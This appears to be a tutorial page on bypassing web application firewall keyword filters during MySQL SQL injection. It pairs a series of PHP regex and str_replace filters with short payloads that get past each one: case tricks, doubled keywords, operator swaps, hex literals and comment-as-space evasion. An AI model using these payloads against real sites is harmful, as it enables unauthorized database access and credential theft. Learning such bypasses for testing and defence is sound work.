WAF Bypass
Suppose the WAF filters
union
using str_replace()
:$sql = str_replace("union", "" , $sql);
This filter only filters lowercase
union
, so we can use things like UNION
or UNion
.- Keywords in MySQL are case-insensitive.
- Database names, table names are case-sensitive.
- Column names are case-insensitive. This is really weird.
Suppose the developer uses
$sql = str_replace("union", "" , $sql);
and uppercase/lowercase is properly handled. We can still bypass this filter using unionunion
. Note that str_replace()
only removes union
once, so unionunion
becomes union
.If the WAF only calls
urldecode()
once, we can URL encode our payload twice to bypass the filter.Suppose the WAF filters
and
and or
:preg_match('/(and|or)/i', $id)
The following payloads will be filtered:
1 or 1=1
1 and 1=1
We can bypass this filter using the following payload:
1 || 1=1
1 && 1=1
Suppose the WAF filters
and
, or
, and union
:preg_match('/(and|or|union)/i', $id)
The following payloads will be filtered:
union select user,password from users
We can bypass this filter using the following payload:
|| (select user from users where user_id = 1) = 'admin'
The
||
symbol expands the scope of select
, which has similar effect as union select
.Suppose the WAF filters
and
, or
, union
, and where
:preg_match('/(and|or|union|where)/i', $id)
The following payloads will be filtered:
|| (select user from users where user_id = 1) = 'admin'
We can bypass this filter using the following payload:
|| (select user from users limit 1,1) = 'admin'
Here
limit 1,1
has the same functionality as where
. limit 1,1
means start from index 1 and only select 1 entry.Suppose the WAF filters
and
, or
, union
, where
and limit
:preg_match('/(and|or|union|where|limit)/i', $id)
The following payload will be filtered:
|| (select user from users limit 1,1) = 'admin'
We can bypass this filter using the following payload:
|| (select min(user) from group by user_id having user_id = 1) = 'admin'
Suppose the WAF filters
and
, or
, union
, where
, limit
and group by
:preg_match('/(and|or|union|where|limit|group by)/i', $id)
The following payload will be filtered:
|| (select min(user) from group by user_id having user_id = 1) = 'admin'
We can bypass this filter using the following payload:
|| select substr((select group_concat(name)name from test), 1, 1) = 't')
Suppose the WAF filters
and
, or
, union
, where
, limit
, group by
, select
and single quote:preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
The following payload will be filtered:
|| select substr((select group_concat(name)name from test), 1, 1) = 't')
We can bypass this filter using the following payload:
|| substr(name, 1, 1) = 0x74
|| substr(name, 1, 1) = unhex(74)
Suppose the WAF filters
and
, or
, union
, where
, limit
, group by
, select
, single quote, hex
, unhex
, and substr
:preg_match('/(and|or|union|where|limit|group by|select|\'|hex|unhex|substr)/i', $id)
The following payload will be filtered:
|| substr(name, 1, 1) = unhex(74)
We can bypass this filter using the following payload:
|| binary(name) = 0x74657374
Suppose the WAF filters
and
, or
, union
, where
, limit
, group by
, select
, single quote, hex
, unhex
, substr
, and space:preg_match('/(and|or|union|where|limit|group by|select|\'|hex|unhex|substr|\s)/i', $id)
The following payload will be filtered:
|| binary(name) = 0x74657374
We can bypass this filter using the following payload:
||/**/binary(name)/**/=/**/0x74657374
Here
/**/
is an empty comment, which is equivalent to a whitespace.Suppose the WAF filters
and
, or
, union
, where
, limit
, group by
, select
, single quote, hex
, unhex
, substr
, space, and =
:preg_match('/(and|or|union|where|limit|group by|select|\'|hex|unhex|substr|\s|=)/i', $id)
The following payload will be filtered:
||/**/binary(name)/**/=/**/0x74657374
We can bypass this filter using the following payload:
||/**/binary(name)/**/like/**/0x74657374
Here
like
matches more results than =
, but we can use it just like =
anyway.Last modified 10mo ago